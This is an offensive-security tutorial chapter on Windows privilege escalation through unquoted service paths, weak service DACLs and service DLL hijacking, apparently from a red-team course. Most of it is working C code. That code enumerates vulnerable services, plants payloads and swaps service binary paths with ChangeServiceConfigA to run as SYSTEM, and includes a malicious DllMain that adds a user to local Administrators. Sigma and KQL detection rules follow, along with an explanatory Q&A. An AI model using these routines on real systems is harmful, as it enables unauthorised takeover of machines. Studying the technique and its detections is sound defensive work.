Privilege Escalation: Weak Service Configurations
Windows services are a persistent source of local privilege escalation. This chapter covers three service misconfigurations — unquoted service path, weak service DACL (writable SERVICE_ALL_ACCESS by low-priv user), and service DLL hijacking — including enumeration from C, exploitation, and the exact Windows API calls used to change service binary paths and trigger re-execution as SYSTEM.
You have a foothold on a Windows 10 workstation as a standard domain user. No UAC bypass is available (UAC is set to "Always Notify"). No known kernel exploits apply (fully patched). You need SYSTEM for a token-steal operation. Your enumeration of installed third-party software reveals a vulnerable service: an old vendor backup agent whose service binary path is unquoted and contains spaces — and its service registry key grants WRITE_DAC to Authenticated Users. You have two independent escalation paths from one misconfigured service.
Service Misconfiguration Taxonomy
| Type | Root Cause | Attacker Action | Prerequisite |
|---|---|---|---|
| Unquoted path | Service image path has spaces, no quotes | Plant executable at shorter path segment | Write permission to parent directory |
| Weak DACL on service | SERVICE_ALL_ACCESS granted to low-priv group | ChangeServiceConfigW → new binary path | Write access to service object (SCM) |
| Weak file permissions | Service binary is writable by low-priv user | Replace binary on disk | Write access to .exe file |
| Service DLL hijacking | Service loads DLL from writable directory | Drop DLL at expected path before DLL loads | Write access to DLL directory |
| Insecure registry key | Service registry key is writable | Modify ImagePath value directly | WRITE access to HKLM\SYSTEM\...\Services\X |
Enumerating Vulnerable Services
// Enumerate all auto-start services and check for:
// 1. Unquoted path with spaces 2. Writable service DACL
#include "windows.h"
#include "winsvc.h"
#include "aclapi.h"
#include "stdio.h"
#pragma comment(lib, "advapi32.lib")
void EnumWeakServices() {
SC_HANDLE hSCM = OpenSCManagerA(NULL, NULL, SC_MANAGER_ENUMERATE_SERVICE);
if (!hSCM) { printf("[-] OpenSCManager failed: %d\n", GetLastError()); return; }
DWORD needed = 0, count = 0, resume = 0;
EnumServicesStatusExA(hSCM, SC_ENUM_PROCESS_INFO,
SERVICE_WIN32, SERVICE_STATE_ALL,
NULL, 0, &needed, &count, &resume, NULL);
BYTE* buf = (BYTE*)HeapAlloc(GetProcessHeap(), 0, needed);
resume = 0;
if (!EnumServicesStatusExA(hSCM, SC_ENUM_PROCESS_INFO,
SERVICE_WIN32, SERVICE_STATE_ALL,
buf, needed, &needed, &count, &resume, NULL)) {
HeapFree(GetProcessHeap(), 0, buf);
CloseServiceHandle(hSCM);
return;
}
ENUM_SERVICE_STATUS_PROCESSA* entries = (ENUM_SERVICE_STATUS_PROCESSA*)buf;
for (DWORD i = 0; i < count; i++) {
SC_HANDLE hSvc = OpenServiceA(hSCM, entries[i].lpServiceName,
SERVICE_QUERY_CONFIG | READ_CONTROL);
if (!hSvc) continue;
// Get service config → image path
BYTE cfgBuf[8192]; DWORD cfgNeeded;
QueryServiceConfigA(hSvc, (QUERY_SERVICE_CONFIGA*)cfgBuf,
sizeof(cfgBuf), &cfgNeeded);
QUERY_SERVICE_CONFIGA* cfg = (QUERY_SERVICE_CONFIGA*)cfgBuf;
const char* path = cfg->lpBinaryPathName ? cfg->lpBinaryPathName : "";
// Check unquoted path (starts with letter, not '"', contains space)
if (path[0] != '"' && strchr(path, ' ')) {
printf("[UNQUOTED] %s\n Path: %s\n", entries[i].lpServiceName, path);
}
// Check if we can modify the service (SERVICE_CHANGE_CONFIG access)
SC_HANDLE hWrite = OpenServiceA(hSCM, entries[i].lpServiceName,
SERVICE_CHANGE_CONFIG);
if (hWrite) {
printf("[WEAK DACL] %s — SERVICE_CHANGE_CONFIG granted to current user\n",
entries[i].lpServiceName);
CloseServiceHandle(hWrite);
}
CloseServiceHandle(hSvc);
}
HeapFree(GetProcessHeap(), 0, buf);
CloseServiceHandle(hSCM);
}
Unquoted Service Path Exploitation
// Plant payload at unquoted path — requires write access to target directory
// Path: C:\Program Files\Vendor Corp\Backup.exe → dir has wide-open ACL
BOOL PlantUnquotedExe(const char* plantPath, const char* payloadPath) {
if (!CopyFileA(payloadPath, plantPath, FALSE)) {
printf("[-] CopyFile failed: %d\n", GetLastError());
return FALSE;
}
printf("[+] Planted at %s\n", plantPath);
return TRUE;
}
// Trigger service restart (requires SeShutdownPrivilege or service stop/start rights)
BOOL TriggerServiceRestart(const char* serviceName) {
SC_HANDLE hSCM = OpenSCManagerA(NULL, NULL, SC_MANAGER_CONNECT);
SC_HANDLE hSvc = OpenServiceA(hSCM, serviceName,
SERVICE_STOP | SERVICE_START | SERVICE_QUERY_STATUS);
if (!hSvc) { CloseServiceHandle(hSCM); return FALSE; }
SERVICE_STATUS ss;
ControlService(hSvc, SERVICE_CONTROL_STOP, &ss);
Sleep(2000);
StartServiceA(hSvc, 0, NULL);
CloseServiceHandle(hSvc);
CloseServiceHandle(hSCM);
return TRUE;
}
Weak Service DACL — ChangeServiceConfig
// If current user has SERVICE_CHANGE_CONFIG, swap binary path to our payload
// Service runs as LocalSystem → our payload executes as SYSTEM
BOOL ChangeServiceBinaryPath(const char* serviceName, const char* newBinPath) {
SC_HANDLE hSCM = OpenSCManagerA(NULL, NULL, SC_MANAGER_CONNECT);
if (!hSCM) return FALSE;
SC_HANDLE hSvc = OpenServiceA(hSCM, serviceName,
SERVICE_CHANGE_CONFIG | SERVICE_START | SERVICE_STOP);
if (!hSvc) {
printf("[-] OpenService failed: %d\n", GetLastError());
CloseServiceHandle(hSCM);
return FALSE;
}
if (!ChangeServiceConfigA(
hSvc,
SERVICE_NO_CHANGE, // service type unchanged
SERVICE_NO_CHANGE, // start type unchanged
SERVICE_NO_CHANGE, // error control unchanged
newBinPath, // NEW binary path — our payload
NULL, NULL, NULL, NULL, // other fields unchanged
NULL, NULL, NULL)) {
printf("[-] ChangeServiceConfigA failed: %d\n", GetLastError());
CloseServiceHandle(hSvc);
CloseServiceHandle(hSCM);
return FALSE;
}
printf("[+] Service binary path changed to: %s\n", newBinPath);
// Stop and restart to trigger execution
SERVICE_STATUS ss;
ControlService(hSvc, SERVICE_CONTROL_STOP, &ss);
Sleep(1500);
StartServiceA(hSvc, 0, NULL);
CloseServiceHandle(hSvc);
CloseServiceHandle(hSCM);
return TRUE;
}
Service DLL Hijacking
// Many Windows services load plugin DLLs from directories other than System32.
// If that directory is writable by a low-priv user, drop a malicious DLL there.
// The DLL runs in the service process context (potentially SYSTEM).
// Example: vendor service loads C:\VendorApp\plugins\helper.dll
// If C:\VendorApp\plugins\ grants write to Users → drop helper.dll payload
// Payload DLL entry point: execute during DllMain, then call original if needed
BOOL WINAPI DllMain(HINSTANCE hInstDLL, DWORD fdwReason, LPVOID lpvReserved) {
if (fdwReason == DLL_PROCESS_ATTACH) {
// Run payload in a thread to avoid DllMain deadlock
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)RunPayload, NULL, 0, NULL);
}
return TRUE;
}
DWORD WINAPI RunPayload(void* arg) {
// Add current user to local admins — net localgroup style via NetLocalGroupAddMembers
LOCALGROUP_MEMBERS_INFO_3 info;
info.lgrmi3_domainandname = L"CORP\\lowprivuser";
NetLocalGroupAddMembers(NULL, L"Administrators", 3, (LPBYTE)&info, 1);
return 0;
}
// Check if service DLL directories are writable:
void CheckServiceDllDirs() {
// Query services whose image is svchost.exe -k
// Then read HKLM\SYSTEM\CurrentControlSet\Services\\Parameters\ServiceDll
// Check ACL on that DLL's directory
HKEY hKey;
RegOpenKeyExA(HKEY_LOCAL_MACHINE,
"SYSTEM\\CurrentControlSet\\Services",
0, KEY_READ, &hKey);
char subkey[256]; DWORD idx = 0;
while (RegEnumKeyA(hKey, idx++, subkey, sizeof(subkey)) == ERROR_SUCCESS) {
char dllPath[MAX_PATH] = {0}; DWORD sz = MAX_PATH;
char paramKey[512];
sprintf_s(paramKey, sizeof(paramKey),
"SYSTEM\\CurrentControlSet\\Services\\%s\\Parameters", subkey);
HKEY hParam;
if (RegOpenKeyExA(HKEY_LOCAL_MACHINE, paramKey, 0, KEY_READ, &hParam) == ERROR_SUCCESS) {
RegQueryValueExA(hParam, "ServiceDll", NULL, NULL, (LPBYTE)dllPath, &sz);
RegCloseKey(hParam);
if (dllPath[0]) {
// Check write access to DLL path
if (GetFileAttributesA(dllPath) != INVALID_FILE_ATTRIBUTES) {
HANDLE hTest = CreateFileA(dllPath, GENERIC_WRITE, 0,
NULL, OPEN_EXISTING, 0, NULL);
if (hTest != INVALID_HANDLE_VALUE) {
printf("[WRITABLE DLL] %s -> %s\n", subkey, dllPath);
CloseHandle(hTest);
}
}
}
}
}
RegCloseKey(hKey);
}
Detection Engineering
title: Service Binary Path Changed by Non-Admin
logsource:
product: windows
service: system
detection:
selection:
EventID: 7040 # Service start type changed
filter_admin:
SubjectUserName|endswith: '$'
condition: selection AND NOT filter_admin
level: high
title: Unquoted Service Path — New Executable in Path Segment
logsource:
product: windows
category: file_event # Sysmon Event 11
detection:
selection:
TargetFilename|re: '^C:\\Program Files.*\.exe$'
TargetFilename|not|contains: 'Uninstall'
filter_legit:
Image|endswith:
- '\msiexec.exe'
- '\setup.exe'
- '\installer.exe'
condition: selection AND NOT filter_legit
level: medium
-- MDE KQL: service config change triggering new binary execution
DeviceProcessEvents
| where InitiatingProcessFileName =~ "services.exe"
| where not(FileName has_any (
"svchost.exe", "lsass.exe", "wininit.exe", "spoolsv.exe"))
| where FolderPath !startswith @"C:\Windows\System32"
AND FolderPath !startswith @"C:\Windows\SysWOW64"
| project Timestamp, DeviceName, FileName, FolderPath,
ProcessCommandLine, InitiatingProcessCommandLine
Q&A
How does Windows resolve an unquoted service path, and why does the attacker plant the binary at a mid-segment location rather than the full path?
When Windows' CreateProcess (and the Service Control Manager's variant of it) encounters a command line without quotes, it applies the Win32 path parsing rules documented in the CreateProcess MSDN page. The parser splits on spaces to try progressively longer path interpretations, stopping at the first one that resolves to an executable. For a path like C:\Program Files\Vendor Corp\Backup Agent\BackupSvc.exe, the parser attempts these in order: C:\Program.exe (treating "Files\Vendor..." as the arguments), then C:\Program Files\Vendor.exe, then C:\Program Files\Vendor Corp\Backup.exe, then finally the full path. It stops and executes the first one it finds.
The attacker's goal is to find which mid-segment path is actually writable. C:\Program.exe requires write access to the root of C:\ — unlikely for a standard user. C:\Program Files\Vendor.exe requires write access to C:\Program Files\ — also restricted. But third-party installers frequently set permissive ACLs on their own application directories: C:\Program Files\Vendor Corp\ might have write permissions granted to Authenticated Users or even Everyone, because the vendor wanted their app to write log files there without requiring elevation. Dropping Backup.exe in that directory intercepts the path resolution at the third attempt and runs with the same token as the original service — typically SYSTEM. This is why unquoted path vulnerability is common in third-party products but rare in Microsoft's own services: the Windows installer sets tight ACLs on C:\Windows\ and C:\Program Files\ by default. The vulnerability exists at the intersection of two mistakes: the vendor forgot to quote the path in their service registration, and set permissive directory ACLs on their own install directory.